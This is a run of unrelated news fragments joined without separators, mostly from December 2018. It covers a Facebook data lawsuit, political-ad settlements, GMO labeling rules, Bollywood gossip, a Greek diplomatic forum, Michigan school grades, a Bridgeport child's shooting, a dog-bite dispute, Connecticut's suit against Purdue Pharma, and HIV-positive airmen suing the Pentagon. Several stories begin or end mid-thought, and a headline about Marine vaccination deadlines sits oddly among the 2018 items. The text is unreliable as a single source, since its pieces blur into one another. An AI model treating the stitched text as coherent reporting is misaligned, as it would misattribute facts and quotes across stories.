Chambers Magarpatta Road, Hadapsar, Pune 411028 Maharashtra, India Phone: +1 646 845 9312 Email: sales@marketresearchfuture.com The American College of Nurse-Midwives calls the odorless, tasteless gas a reasonably safe option for women in childbirth. The American College of Obstetricians and Gynecologists doesnt have an official position on its use during labor. However, the organization notes that it has long been in use in other countries and has benefits that include quickly leaving a womans system when she stops using it, rapidly leaving a babys system once the baby is born and starts breathing, and it doesnt require additional monitoring. Nitrous oxides long-term effects on babies delivered to mothers using the gas havent been extensively studied. by Wendy Davis @wendyndavis, December 19, 2018 Washington, D.C. Attorney General Karl Racine sued Facebook Wednesday over allegations that the company wrongly allowed outside developers, including Cambridge Analytica, to harvest data about users. Facebook's lax oversight allowed the defunct Cambridge Analytica -- President Trump's former data consultancy -- to collect information about tens of millions of the social networking service's users, including more than 340,000 D.C. residents, the lawsuit alleges. Facebook collects and maintains a trove of its customers' personal data, as well as data regarding consumers' digital behavior on and off the Facebook website, Racine alleges in a complaint filed in D.C. Superior Court. Facebook's consumers reasonably expect that Facebook will take appropriate steps to maintain and protect their data. advertisement advertisement The lawsuit claims that Facebook violated a D.C. consumer protection law by failing to notify users that their data could be shared without their knowledge or affirmative consent. Earlier this year, reports emerged that Cambridge Analytica purchased the personal data of up to 87 million Facebook users from Alexsandr Kogan, a professor who collected the information in 2014 via his personality quiz app "thisisyourdigitallife." That app was downloaded by 270,000 Facebook users, but Kogan was able to gather information about millions of those users' friends. In April of 2015, Facebook stopped allowing developers to access data about users' friends. But in 2014, when Kogan's app scraped the data, Facebook allowed developers to glean information about users' friends, subject to their privacy settings. Facebook's terms of service prohibited developers like Kogan from sharing that information. But according to Racine, Facebook didn't do enough to enforce that restriction. Facebook could have prevented third parties from misusing its consumers' data had it implemented and maintained reasonable oversight of third-party applications consistent with its representations in its public statements, terms of service, and policies, the lawsuit states. Even after learning of the data transfers to Cambridge Analytica, Facebook failed to remedy the situation, the complaint alleges. Facebook did not ban, suspend, or limit the privileges of Kogan, Cambridge Analytica, or any of their affiliates, the lawsuit reads. Facebook simply requested that Kogan and Cambridge Analytica delete all data that they received through the Facebook platform, and accepted their word that they had done so. Racine also faults Facebook for waiting until this year to notify users about the data harvesting. A disclosure that Facebook consumers' data had been sold to a political consulting firm and was being used to target political advertising for the 2016 election would have influenced Facebook consumers in D.C. to, among other things, share less information on the Facebook website or deactivate their Facebook accounts, the lawsuit alleges. Facebook instead profited from Kogan's and Cambridge Analytica's misuse of this stolen consumer data by selling millions of dollars of advertising space to Cambridge Analytica and presidential candidate campaigns during the 2016 election. A Facebook spokesperson says the company is reviewing the complaint and will continue talks with attorneys general "in D.C. and elsewhere." by Wendy Davis @wendyndavis, December 20, 2018 Facebook and Google agreed to pay more than $450,000 to settle allegations that they failed to comply with a Washington state law regarding political ad disclosures, Attorney General Bob Ferguson said. Whether you are a small-town newspaper or a large corporation, Washingtons political advertising disclosure laws apply to everyone, Ferguson stated this week. Google will pay $200,000 and $17,000 in attorney's fees and costs, while Facebook will pay $200,000 and an additional $38,500 in fees and costs. The settlements resolve complaints alleging that Google and Facebook failed to follow a state campaign finance law dating to the 1970s. That measure requires companies selling political ads to allow members of the public to learn detailed information about the ad buys -- including names of candidates, names and addresses of purchasers and the total cost of the ad. advertisement advertisement State authorities say the law applies to online platforms like Google and Facebook. Ferguson alleged in the complaints that both Facebook and Google are "commercial advertisers" -- a term defined by Washington law as companies that sell "the service of communicating messages" to the public. Since 2008, Facebook collected $5.1 million from Washington politicians and campaigns and Google took in $1.5 million, Ferguson says. A newer state law, which took effect in June, requires that companies running digital ads make additional information available -- including descriptions of the geolocations and audiences targeted, and the total number of impressions generated by the ad. The newer law also explicitly says it applies to paid digital ads. Soon after the suits were filed, Google announced it would stop accepting political ads in the state. The company said at the time it was assessing the new Washington requirements and ensuring its systems could comply with them. Earlier this year, Facebook introduced new labeling requirements for political ads. It also is maintaining a searchable archive of political ads that have appeared on the service since May 7. A Facebook spokesperson says the company will pause state and local electoral ads in Washington by the end of the year. We're committed to helping protect elections on Facebook and have built tools to authorize advertisers and give people more information about the political ads they see, the spokesperson says. Last year, federal lawmakers including Senators Amy Klobuchar (D-Minnesota) and Mark Warner (D-Virginia) introduced the Honest Ads Act, which would require some web publishers with at least 50,000,000 monthly viewers to maintain publicly available copies of political ads purchased by groups spending more than a total of $500. The bill would also require those web companies to maintain public records about the target audience, number of views, rates charged, and dates and times of publication. by Karlene Lukovitz @KLmarketdaily, December 20, 2018 The U.S. Department of Agriculture has released the regulations for how companies must disclose food and beverages containing GMOs. Congress charged the USDA with establishing the standards after it passed the National Bioengineered Food Disclosure Law in July 2016, after a long, divisive fight among pro- and anti-disclosure factions. The standards document, available today through the Federal Register site in PDF format, defines bioengineered (BE) foods (the term GMO will not be used in disclosures) as those that contain detectable genetic material that has been modified through lab techniques and cannot be created through conventional breeding or found in nature. The implementation date is Jan. 1, 2020, except for small food manufacturers, whose implementation date is Jan. 1, 2021. The mandatory compliance date is Jan. 1, 2022. Regulated entities may voluntarily comply with the Standard until Dec. 31, 2021. advertisement advertisement The USDA released a list of foods considered BE and subject to record-keeping and disclosure (alfalfa, canola, corn, cotton, potatoes, "AquAdvantage" salmon, soybeans, squash, sugarbeets and certain varieties of apple, eggplant, papaya and pineapple.) But it also cautioned that BE products continue to be developed, and that even if a food is not included on the list, regulated entities whose records show that a food they are selling is bioengineered must make appropriate disclosure of that food. Food importers and some retailers, as well as food companies, are required to adhere to the standards. The USDAs information for consumers states that only foods that meet the agencys BE definition will carry the bioengineered symbol (shown above), or scannable links, or text message instructions, on their labels. (Additional disclosure options, such as a phone number or web address, are available to small food manufacturers or for small packages.) Disclosures will be easy to spot on the food package or on signage related to bulk food displays, the USDA tells consumers, adding that a BE disclosure is a marketing label, and does not convey any information about the health, safety or environmental attributes of bioengineered foods as compared to non-bioengineered counterparts. The Food Marketing Institute, which fought for a national GMO labeling standard and against the more detailed disclosures being passed by individual states, praised the USDAs standard as introducing a more precise vocabulary into the public discourse regarding biotechnology in food production. FMI also noted that it had been working closely with USDA and companies in the supply chain to ensure that the final rule provides consistency and clarity to the customers shopping in any of our memberships 33,000 retail food stores. FMI said that it will work with the USDA to help educate consumers about the disclosures. Nutrition advocacy group the Center for Science in the Public Interest released a statement saying it generally supports the final rule because it finally gives the information to consumers in a uniform manner. But it added that the rule is complex, and much education will be needed before consumers will understand the newly disclosed information. CSPI also asserts that parts of the rule arent in consumers best interests. It argues that the more familiar and scientifically accurate term genetically engineered should have been used instead of bioengineered. Second, CSPI argues that highly processed ingredients derived from genetically engineered crops, such as sugar and corn oil, should be disclosed on a mandatory basis, rather than the voluntary disclosure allowed by the rule. Most studies have shown that consumers expect highly processed ingredients to be labeled, and many food manufacturers want to provide that information, writes CSPI. Finally, they point out that the final rule doesnt specify when a food may be voluntarily labeled as non-GMO. There has been a proliferation of non-GMO claims in the marketplace for foods such as water, salt and orange juice that dont have any bioengineered counterpart, CSPI notes. Such misleading labeling by food manufacturers takes advantage of consumers lack of knowledge to suggest their products are different from similar non-labeled products. The entire nation might be crushing hard on Bollywood's latest entrant Sara Ali Khan, but the gorgeous woman herself has a huge self-proclaimed crush on actor Kartik Aaryan. In the recently concluded episode of 'KWK', where she appeared with her dad Saif, Sara openly declared that she wanted to date Kartik. Everyone was surprised with this revelation, including Kartik himself who was shy and blushed when the media told him Sara wanted to date him. Sara is currently promoting her next movie 'Simmba' with Ranveer Singh; so at a recent event where the duo was present, Ranveer happened to bump into Kartik and he wasted no time in introducing the two people as he happily played cupid. The two were awkward and Ranveer was having all the fun. Now if something brews between the two, then we know who gets the credit for this! For decades, the Western world along with Europe, have looked towards Asia; not a glance towards Africa. And the results are well-known. Africa is paying for it with poverty and multiple domestic problems in many countries, as well as cross-border problems. We are also paying for it with the flows of migrants to Europe, as well as at the European border, in Greece, where they seek a better life. We do not agree with the logic of certain of our partners in the European Union which, faced with this problem, build walls and fences. The Greeks prefer to build bridges of humanity, solidarity, and respect. But despite all this, we must congratulate this initiative by the Austrian Presidency to convene this high-level forum, inviting all who build bridges of development with Africa, and bridges that aim towards the prosperity of its peoples. This is what Deputy Minister of Foreign Affairs T. Quick stressed in his speech at the high-level Forum Europe-Africa that was organised by the Austrian Presidency of the E.U. in Vienna, with the participation of 12 Presidents, 11 Prime Ministers, 23 Ministers & Deputy Ministers. Mr Quick also stressed that Greece, for two years now, has carried out a series of visits to Africa, and mainly to Sub-Saharan countries where very significant communities of Greek nationals exist, contributing to the preparation of business missions by Greek companies which, in addition to their outward-looking nature, also assist in the creation of employment opportunities for the local population. Finally, Mr Quick made a special reference to the very significant bilateral and trilateral - together with Cyprus - cooperation with Egypt. On the margins of the Forum, Deputy Minister of Foreign Affairs Terens Quick had the opportunity to speak with the President as well as with the Minister of Foreign Affairs of Egypt, the Presidents of Romania, Ethiopia, Kenya, the Czech Republic, and with Ministers from France, Malta, Morocco, Latvia, Mozambique, and Botswana. Alternate Minister of Foreign Affairs Giorgos Katrougalos will chair a meeting of the National Council on Foreign Policy (NCFP) at 11:00 on Friday, 21 December at the Ministry of Foreign Affairs. The Councils main work shall consist of briefing on critical Foreign Policy issues in the upcoming period, the Cyprus issue and Greek-Turkish relations. Whether this will be three or five (years) is difficult to say because many of these tests take a lot of time to come to a real fruition, CEO Stefano Pessina said, adding, We are doing an incredible effort to digitize the company and to use the digitalization for not only improving the efficiency of the company but also to offer many, many more services to our customers. The sale is one of the higher-priced closings in the luxury tower, and its on one of the higher floors in the building. Directly above this 32nd-floor unit is a full-floor unit on the 33rd floor that sold in November to trader Jeffrey Wolfson for $8.17 million, while above that, a full-floor unit on the 34th floor sold in February for $8.91 million. 2) If youve really procrastinated on gift shopping this year, Late Night Andersonville has you covered. More than 90 stores will keep their doors open, so you can pick up gifts, treats and special promotions just in time for Christmas from such businesses as Akira, Andersonville Antiques, Chicago Magic Lounge, and Cowboys and Astronauts. When you get tired of walking, head over to First Slice Pie Cafe or Georges Ice Cream & Sweets for a pick-me-up. Open until at least 9 p.m. Friday. andersonville.org These wines range from $15 to $30 reasonable and not outrageous and they pack a lot of flavor for the price. Producers I recommend include La Boutanche, whose wines feature cheeky updates on the critter labels of yesteryear, and Domaine Catherine et Pierre Breton, one of the Loires masters of mind-blowing and complex cabernet franc. Though the big-name wines of the Burgundy, Bordeaux and Rhone regions still get a lot of love from grocery stores and volume retailers, wines from the Loire Valley have been taking over more shelf space, especially in better-curated wine shops, where small-production winemakers often land. HARRISON Registration for the winter semester is now underway at Mid Michigan College. The winter semester begins Jan. 5, 2019, and students should register as soon as possible so they can build a schedule that fits their life from the widest selection of classes. Mid is offering more online courses than ever before and new programs in emerging fields like Public Health, said Karry Kiste-Toner, director of Mentoring and Retention at Mid. Its important that continuing students register for winter to continue their momentum toward a degree, and that new students attend orientation, apply for financial aid, and register for classes as soon as possible. Students now get more individualized attention than ever before. All new students are paired with a mentor who serves as an ally and advocate for their success from application through graduation. Academic advisors further this personalized approach to student success by assisting students in course selection and creating an educational pathway based on each students individual goals. Mid provides a quality education that saves students $11,000-$16,000 on average when compared to other public colleges and universities, said Brent Mishler, director of admissions at Mid. These savings paired with classes that transfer easily and personalized support for student success, make Mid a great choice. For more information about winter registration, visit midmich.edu/winter-ready or contact admissions at 989-386-6661. LANSING The state of Michigan could be handing out A-to-F letter grades to public schools under legislation that recently passed the House of Representatives. Supporters hailed the move as a simpler way to hold schools accountable, but critics called it a setback in improving the state's lagging educational performance. The 56-53 vote was taken after a long session in which GOP leaders ultimately succeeded in getting enough support after numerous last-minute revisions. The bill now goes to the Republican-controlled Senate for debate. Under HB 5526, schools would not be given a cumulative letter grade. Instead, the measure would require the state Department of Education to assign each school an A, B, C, D or F in five categories by Sept. 1, 2019 and each year following. Those categories include students' overall proficiency and growth on state standardized tests, graduation rates, academic performance compared to schools with similar student populations, and progress for children whose first language is not English. "Aside from the hyperbole and hysteria on the left, I think that this is a good thing for Michigan. I think it'll help not only parents, but it will also help schools identify their weaknesses and try and focus on bringing those areas of weakness up," said the Republican sponsor, House Education Reform Committee Chairman Tim Kelly of Saginaw Township. Michigan currently publishes an online "parent dashboard" that shows how schools fare on indicators in comparison to similar schools and the state average. It was unveiled 11 months ago and replaced a color-coded scorecard that had come under criticism as too confusing. Democrats and traditional education groups blasted the House-passed legislation, which GOP lawmakers have been trying to enact for years. Gov. Rick Snyder and business organizations also have called for an A-to-F system. "HB 5526 will place even more emphasis on standardized testing, taking us backward in efforts to reduce reliance on such tests and their dominance over the education of our children," said Michigan Education Association President Paula Herbart. "The State Senate should reject this legislation. Barring that, the governor should add this bill to the litany of poorly-conceived bills being rushed through the lame duck session that deserve his veto." The latest version of the bill would not include a commission to oversee the A-to-F system, but rather a less powerful peer review panel. The commission had been viewed suspiciously by detractors who saw it as a power grab from the elected state education board. The measure also would require the Education Department to rank each school as significantly above average, above average, average, below average or significantly below average in specific indicators. MIDDLETOWN Oddfellows Playhouse Youth Theater in Middletown has announced its winter 2019 programs in the arts, for young people age 6-20. Programs begin in early January and range from classes in theater, music, and visual arts to mainstage theater and circus productions. Oddfellows has been offering fun and challenging theater and circus experiences to central Connecticut young people since 1975, and has consistently been recognized by Connecticut Magazine as the States Best Childrens Theater. This winter the Playhouse is offering young people of all ages opportunities to create, train and perform. Programs for teenagers include the Middletown Teen Talent Search, the Teen Repertory Company and Circophony Teen Circus. The Middletown Teen Talent Search will be held on Saturday, Jan. 19 and is open to Middletown young people ages 12-19. The event is hosted by Connecticut State Troubadour Nekita Waller, and the top act will win a cash prize of $500. The Teen Repertory Company, the Playhouses senior company for ages 14 -20, is developing an original, ensemble-created performance piece with music and dance this winter and spring. This Is Important: An Ensemble Creation Experience, offers five winter workshops in which students will develop text, movement and music based on their own experiences of navigating contemporary life as a teenager. The work will be developed into an original, mainstage show which will have auditions in March and be performed in May. Circophony Teen Circus, open to ages 12-19, is a collaboration between ARTFARM and Oddfellows Playhouse and will be mounting a mainstage production this winter called Circus Botanicus. Auditions are Jan. 8-9 and performances will be March 21-23. Circophony is open to all teens, regardless of circus experience, though a background in gymnastics, dance, theater, parkour, improvisation or any physical discipline may be helpful. Middle school students and home schoolers are served by the Junior Repertory Company (ages 12-14), which will be producing the classic Italian comedy The Servant of Two Masters. A feast of slapstick, disguises, mistaken identity, misguided romance, rebellious teens and clueless parents, auditions are January 10 and the show will hit the main stage March 14-16. Young people ages 12-14 may also join our weekly Improv Jam, held on Saturday mornings starting January 19 and run by Carmine Lavieri. Young people ages 6-11 are offered a host of classes in the after-school hours Monday through Thursday. Classes for ages 6 - 8 include Stories from the Middle East, Junior Circus, Creating Characters and Slapstick & Clowning. For ages 9 -11 there is Circus Arts, a visual arts class called Beads, Baubles, Boxes and Beans, Scene Study, and a Mini-production (which rehearses two afternoons per week) called Fairytale Fantasy. All classes and the mini-production begin the week of January 14. Middletown Public School students ages 6 - 14 can sign up for Oddbridge, an extended-day program in which students take the bus directly from school to Oddfellows and participate in an hour of Arts Programming before formal classes start at 4:30pm. Oddbridge is designed to take you from the school bus to performing arts classes, while preparing you for successful class and production experiences. The winter program at the Playhouse also features Le Petit Studio, conceived and directed by Congolese theater artist Toto Kisaku. This unique theater experience is for kids ages 8 - 14 and their families. The class will be from 10 am to noon on Saturdays January 26th, February 9th and February 23rd; students may sign up for one Saturday or all three. Oddfellows programs are tuition based, but the Playhouse is committed to making these experiences available to every young person, regardless of ability to pay. Refer to the website for financial aid information. For details about any of the above programs and more, including tuition and financial aid, or to register, go to www.oddfellows.org or contact Oddfellows at info@oddfellows.org or call 860-347-6143. Oddfellows Playhouse is located at 128 Washington Street in downtown Middletown. Oddfellows Playhouse is Connecticuts oldest and largest youth theater, founded in 1975 with the mission to promote the growth of young people - in skills, knowledge and self-confidence - through the performing arts. Playhouse programs are made possible due to generous support from the United Way of Middlesex County, Middletown Commission on the Arts, Fund for Greater Hartford, Community Foundation of Middlesex County, Liberty Bank Foundation, State of Connecticut Judicial Branch, Middletown Youth Services Bureau, Connecticut Office of the Arts, and the Stare Fund. BRIDGEPORT Clinton Howells father said his sons love of eating is what got him killed. Police said the 12-year-old Howell was shot around 9 p.m. outside his familys light green duplex in the 200 block of Willow Street. Capt. Brian Fitzgerald said the boy was rushed to Bridgeport Hospital where he was pronounced dead a short time after, becoming the citys 11th homicide of 2018. He loves to eat. He loves his snacks, said Howells father, Carlton Howell, at a memorial outside the home Wednesday evening. He went to the store on the corner, bought his honey buns (pastries) and a juice. He comes back and theres a drive-by and hes shot. The Wednesday night gathering brought dozens of classmates, neighbors, politicians including governor-elect Ned Lamont and Mayor Joe Ganim family and friends to the sidewalk outside Clinton Howells home. Those who showed up lit candles, blasted Jamaican music and reminisced about Clinton Howell, who was set to turn 13 on Jan. 13. Clinton Howell was shot once to the chest, a wound that Fitzgerald called unsurvivable at a news conference in Bridgeport Police Chief Armando Perezs office on Wednesday. Initially, hospital personnel told police that Howell was shot twice. Carlton Howell said his son lived with his mother and some other family members on Willow Street, but that his son called him every day to talk. Seen him Sunday, Carlton Howell recalled Wednesday night. Monday, he called me. But I didnt hear from him Tuesday which was unusual. Carlton Howell said the next time he saw his son, the youngster was lying in front of the Willow Street home. Carlton Howell, who teared up speaking of his son, was in the area when a family member called him Tuesday and told him his son had been shot. The drive-by shooting was likely sparked by an ongoing dispute between the suspect or suspects and others, Fitzgerald said. But he said Clinton Howell was not a part of the ongoing dispute and was not the intended target Tuesday night. At the time of the shooting, Fitzgerald said, Clinton Howell was outside his home with two other people one of them over the age of 18. Detectives are looking into the possibility that one, or both, of those people might have been the intended victim, Fitzgerald said. Police are still working to determine whether the suspects drove to Clinton Howells familys home because of the ongoing dispute, or if it was a chance meeting on Willow Street. Detectives already have strong leads in the case, Fitzgerald and Perez said repeatedly at the news conference. Somebodys going to be in custody very soon, Perez said. A strong person of interest was identified by police through evidence and interviews with witnesses, Fitzgerald said. He declined to speak further about the person of interest, but did confirm that it is someone that Bridgeport police are familiar with. He said the department is looking at several suspects who police believe were all in a small sport utility vehicle during the drive-by shooting. There is a lot of video evidence, which the department is not releasing at this time, Fitzgerald said. Despite hearing of the leads being pursued by police, Carlton Howell said he was still reeling from the pain of losing his child. I have two daughters, but Clinton is my only son, he said. My heart is in, like, a million pieces right now ... I love every minute of those 12 years that my son was alive. On Wednesday morning, Elaine Wells, Clinton Howells aunt, stood in the front doorway of the Willow Street home. Wells, who helped raise Clinton Howell and his siblings, said the boys mother was too distraught to speak with a reporter. He was a great kid; everybody loved him, Wells said, adding that he was a whiz when it came to video games. Some neighbors said they knew Clinton Howell couldnt have been the intended target of Tuesday nights shooting. It was somebody else. It wasnt meant for him, area resident Chad Dwayne said. And Gamel Dawkins, one of Clinton Howells brothers, said on Facebook he felt lost over his little brothers death. I wish he had just stayed in the house and played Fortnite like he always do(es), Dawkins wrote, referring to a video game. Gregory May, another brother of Clinton Howells, called the shooting a senseless act of violence on Facebook. My brother wouldnt bother anybody and loved to laugh and have fun and play Fortnite, May wrote. Im sick to my stomach, numb, confused angry and hurt. Carlton Howell said his son never caused trouble: He was always going to school, playing his video games and grabbing his favorite snacks at the bodega down the street. He was a baby. A good kid, said Lorena Mejia, who with her husband owns the La Bodega grocery that Clinton Howell frequented on the corner of Willow Street and Barnum Avenue. He was a regular kid. Liked to ride bikes, mopeds. Smart, sweet. Always snacking. Mejia said Clinton Howell and a cousin came into the store just before Tuesdays fatal shooting. She said Clinton Howell bought his favorites a single package of honey buns pastries and a juice. Those two items sat in a pair of Clinton Howells shoes by the candlelight memorial Wednesday night. He just goes to the store, buys snacks, comes home, Dwayne said. You only see him when he goes off to school or the corner store. Clinton Howell was a seventh-grader at The Bridge Academy charter school in the city. He had attended Hall Elementary School. Kyle Langan, a city council member and teacher at The Bridge Academy, posted on Facebook that Clinton Howell was one of his students. Anyone who knew Clinton knew that he was an extremely gentle and caring young man. In my class, his confidence was just beginning to blossom, Langan said. He was universally loved and brought positivity to every day. Any person with information about the shooting is asked to call Detective Jorge Cintron at 203-581-5227, or the Bridgeport Police Tips Line at 203-576-8477. Staff writers Brian Lockhart and Linda Conner Lambeck contributed to this story. The reason that brut IPAs had begun garnering attention was clear: The style offers a stark contrast to New England IPAs, the it beer of the past couple of years, which are hazy and juicy and not at all bitter. But while I got the appeal, over the summer and into early fall, I hadnt seen many around. I thought maybe I was missing something or looking in the wrong places. Then after talking with Samantha Lee, co-founder of Hopewell Brewing Co., which first brewed Clique, its take on the style, in September, I realized I wasnt alone. PORTLAND The saga of Rocky, the dog confined to the Portland pound while its owner and the town try to reach an amiable agreement on his future, had gone quiet for weeks. Then, in a little more than 12 hours Wednesday and into Thursday, it abruptly and dramatically came back into the public square. Rocky has been held at the pound since he attacked a 68-year-old man in January 2016, causing serious physical and psychological injuries. The victim says the attack was unprovoked. Given the severity, the state Department of Agriculture, which oversees such matters, issued an order for the dog to be put down. However, Rockys owner, Paul Bell, brought action in Superior Court to block the town from carrying out the kill order. Rather than go through prolonged and expensive litigation, Bell and the town said they would work together to come up with a mutually agreeable resolution of the matter. Those efforts, more or less, have been held in abeyance since October, First Selectwoman Susan S. Bransfield said Wednesday during a regularly scheduled Board of Selectmen meeting. The town has been waiting to hear from Bell whether he has insurance to cover Rocky if he is released back into Bells care, Bransfield said. Officials have also asked Bell to inform them about hiring a trainer who would work with Bell on how to handle the dog, she said. Bransfield said she found the lack of a response very concerning. In the meantime, while town councilors have not taken a formal vote on the issue, Bransfield said, Its the consensus of the selectmen that Rocky will not be put down while the two sides try to work out an equitable agreement. Bell had identified one trainer prepared to work with him. But the trainer abruptly withdrew in October because of what he said was a lack of respect on Bells part, as well as what he said was Bells decision to reject the trainers recommendation to put up a six-foot-tall vinyl fence on a concrete base that would prevent Rocky from escaping. In a November email to Bransfield, Bells attorney, Thompson G. Page, said the trainer withdrew when questions were raised about his qualifications. Then, at 7:22 a.m. Thursday, after weeks of silence, Bransfield received an email from Page assuring her Bells homeowners insurance policy remains in effect and would cover Rocky. Page also said Bell has retained another trainer, seemingly clearing the way for resuming discussions with the town, Bransfield said. The attorney said selectmen are apparently concerned if Rocky got out and bit someone else, the town would be liable. But nothing could further from the truth, Page said. In all his years of pursuing appeals to prevent a dog from being put down, Page said he has never found an instance in which a town was held liable because They do everything prudently. Before releasing a dog that had bitten someone, the municipality would impose certain well-reasoned restrictions that would protect the town from liability, Page said. Having addressed the two areas of concern outlined by Bransfield Wednesday night, Page said he hopes the two sides could resume discussions so Paul can get his dog back. Reporter Jeff Mill covers East Hampton, Cromwell and Portland for the Middletown Press. Contact him at jeff.mill@hearstmediact.com. The state is suing Stamford-based Purdue Pharma Inc., including current and former members of its management team and the founding Sackler family, charging that its aggressive marketing campaign misled doctors and downplayed the risks of addiction to the companys potent opioids. The lawsuit, filed in state court, signals the states disappointment with the speed and focus of settlement talks with the former drug giant, which has been shedding employees including its entire sales force. The new lawsuit joins more than 1,000 other legal actions around the nation, including 35 other states, leveled at Purdue Pharma amid record levels of overdose deaths. Connecticut Attorney General George Jepsen charged Thursday that the drug giant peddled a series of falsehoods to steer patients to opioids, netting huge profits while the opioid crisis swept the nation. The suit was filed in Hartford Superior Court, charging violations of the states Unfair Trade Practices Act. For a number of months, Connecticut and our multistate partners have been engaged in intensive negotiations with opioid manufacturers and distributors in the hope of resolving potential legal claims in a way that would avoid protracted litigation and would bring opioid treatment resources to those who are desperately in need, said Jepsen, who has a leadership role in a group of state attorneys general dealing with the issue. I expect those negotiations to continue, and I remain hopeful they will bring a resolution that helps to address this ongoing crisis. Jepsen said he believes the company, which has about 250 employees at its Tresser Boulevard location in downtown Stamford, has been disingenuous at best. Purdue Pharma, however, has not demonstrated to me that it is serious about addressing the states' very real allegations of misconduct and coming to a meaningful settlement, he said. It is my hope that, in filing this lawsuit at this time, Connecticut can assist in the collective effort to hold this company and responsible individuals accountable. Jesen said the state will claim that Purdue misled doctors on the risks of the drugs while in the pursuit of profits, particularly through its OxyContin, Hysingla and Butrans opioids. Tactics included sales representatives making deceptive pitches to doctors, pharmacies, hospitals and clinics, according to the state, which also claims that doctors who prescribed the drugs in large amounts were treated to meals, gifts and cash, while high-volume sales people reaped bonuses. Robert Josephson, a Purdue spokesman, said the company wants to continue to work collaboratively with Jepsen, but challenges and denies the states accusations. We share the states concern about the opioid crisis, Josephson said in a statement Thursday. While Purdue Pharmas opioid medicines account for less than 2 percent of total prescriptions, we will continue to work collaboratively with the state toward bringing meaningful solutions to address this public health challenge. Josephson said Purdue acted properly in speaking with physicians, using information that is still approved by the federal Food & Drug Administration. We believe it is inappropriate for the state to substitute its judgment for the judgment of the regulatory, scientific and medical experts at FDA, he said. We look forward to the opportunity to present our substantial defenses. The Connecticut court challenge says Purdue Pharma misrepresented the addictive nature of prescription opioids, with claims not supported by evidence. The lawsuit alleges that Purdue even suggested that patients who appeared addicted actually needed higher doses of the drugs. The cities of Bridgeport, Danbury, New Haven and Norwalk have filed their own lawsuits against the company, which in total has about 550 workers. Purdue Pharma has laid off hundreds of employees this year, including the termination of its entire sales force. Defendants include members of the Sackler family, known for philanthropic efforts including the wing of the Metropolitan Museum that houses the Temple of Dendur. Richard Sackler, Jonathan Sackler, Mortimer D.A. Sackler, Kathe Sackler, Ilene Sackler Lefcourt, Beverly Sackler, David Sackler, Theresa Sackler, Cecil Pickett, Paulo Costa, Ralph Snyderman, Frank Peter Boer and Judy Lewent are named, along with past CEOs John Stewart and Mark Timney. In 2017, 1038 people died of drug overdoses in Connecticut, most from opioids. From 2013 to 2016, the states overdose deaths quadrupled. Staff writer Paul Schott contributed this this report. It's the most wonderful time of the year: Hallmark Christmas movie season! Aka the perfect excuse to grab a big bowl of popcorn, a box of Kleenex and cry/laugh at the sappy, cheesy but oh-so-lovable original movies the Hallmark Channel airs during the holidays. Last year alone, more than 70 million people tuned in to watch the love unfold. The data team at telecommunications company CenturyLink dug through Google Trends to determine which 2017 Hallmark Christmas movie each state searched for the most . It also included movies that were released in October of this year. "The Christmas Train" with Danny Glover and Dermot Mulroney and "The Mistletoe Inn," which is an adaptation of a Richard Paul Evans novel, took home top honors. Click through to see which others made the list. Nearly 9,000 Marines Didn't Get Vaccinated By the Deadline. Many Risk Getting Kicked Out of the Corps. The Marine Corps reported that 5% of the force had not gotten even one shot before the deadline passed. Two U.S. Air Force airmen are suing the Defense Department and Defense Secretary Jim Mattis on grounds they were wrongfully terminated from the service because they were diagnosed with HIV last year. According to a suit filed in the U.S. District Court for the Eastern District of Virginia, plaintiffs "Richard Roe" and "Victor Voe" argue that their discharges from the military violate their constitutional rights because individuals with the human immunodeficiency virus are allowed to serve in the armed forces. "Roe" and "Voe" -- pseudonyms used to protect the plaintiffs' medical privacy -- are being discharged "despite the contrary recommendations of their commanding officers and physicians solely because they have tested positive for ... HIV," the court documents said. "Even though they are asymptomatic, they adhere to a treatment regimen that has been scientifically established to halt the progression of HIV, and their viral loads are undetectable." "As such, their discharges violate the U.S. Constitution and federal statutes and regulations," the documents add. News of the lawsuit was first reported by The Washington Post. Related content: In addition to the constitutionality of the discharges, the case takes on another issue: whether the airmen are considered deployable, which they say ultimately led to their discharges. In February, Mattis announced a "deploy-or-out policy," signaling that the U.S. military has no place for service members who are non-deployable for more than 12 months. The policy was introduced as an effort to create a more ready force. HIV-positive personnel in the Air Force must undergo medical evaluation for the purpose of determining status for continued military service. While the service may not dismiss an airman for having HIV, often the service member becomes non-deployable. Both airmen in the lawsuit have deployed; they were both diagnosed with HIV last year. The suit argues that "anachronistic policies are no longer justified in light of modern medical science," given they can deploy as long as they take their medications as prescribed. The airmen are represented by Lambda Legal, OutServe-SLDN and partner law firm Winston & Strawn. According to the suit, which cites DoD data, "the Air Force allowed at least 13 airmen living with HIV to serve overseas and support vital missions," as of late 2017. "According to DoD publications, from 2011 to 2016, the Air Force diagnosed 181 airmen and the Navy diagnosed 388 sailors with HIV. In 2016, 119 of those airmen -- more than 65 percent -- and 266 of those sailors -- more than 68 percent -- were still serving," the filing also noted. Roe and Voe said they weren't given any alternatives to serve in a non-deployable capacity, even though their commanders and physicians recommended they be retained. "When Roe and Voe attempted to simply maintain the status quo and continue to serve in their present capacities while living with HIV, they faced ill-informed, categorical limitations on their deployability that will have the consequence of prohibiting them from serving at all," the court documents state. "Roe and Voe were separated because they were classified as non-deployable. But Roe and Voe were classified as non-deployable not because there is any physical or medical reason they cannot deploy, but solely because they are HIV seropositive. Roe and Voe were therefore separated 'solely on the basis of laboratory evidence of HIV infection,' " the documents continue. Plaintiff Voe enlisted in 2011, has been stationed in two foreign countries, and deployed to the Middle East twice. Plaintiff Roe enlisted in the Air Force in 2012. He also has been stationed in two foreign countries, the suit said. "It's disgusting that the Trump administration is sending some men and women in uniform home for the holidays without jobs simply because of their HIV status," said Scott Schoettes, counsel and HIV project director at Lambda Legal. Lambda Legal and OutServe-SLDN, LGBT civil rights and activist groups, issued statements following the Post's story. "These airmen are acknowledged leaders and good at their jobs. They have served honorably for many years," said Peter Perkowski, legal and policy director of OutServe-SLDN. "They have the support of their commanders and medical personnel, who state that having HIV will not affect their ability to do their jobs. There is simply no justification for this decision," he said. -- Oriana Pawlyk can be reached at oriana.pawlyk@military.com. Follow her on Twitter at @Oriana0214. Fewer troops will receive a cost-of-living-adjustment (COLA) payment stateside in 2019, as 45 areas drop from the COLA list, the Defense Department announced Thursday. COLA is paid to troops who live in areas determined by a survey to have higher than average cost-of-living expenses. A taxable supplemental allowance, it is calculated for military housing areas as well as non-metropolitan counties. For 2019, the number of service members receiving COLA within the U.S., known as CONUS, will decrease from about 28,000 to about 15,000, officials said in a release. Of those who received a CONUS COLA payment in 2018, 2,000 service members will see no change, 7,900 will see a payment increase, 2,600 will see a decrease and 15,000 will no longer receive any payment in 2019. But another 2,500 have been newly added to the 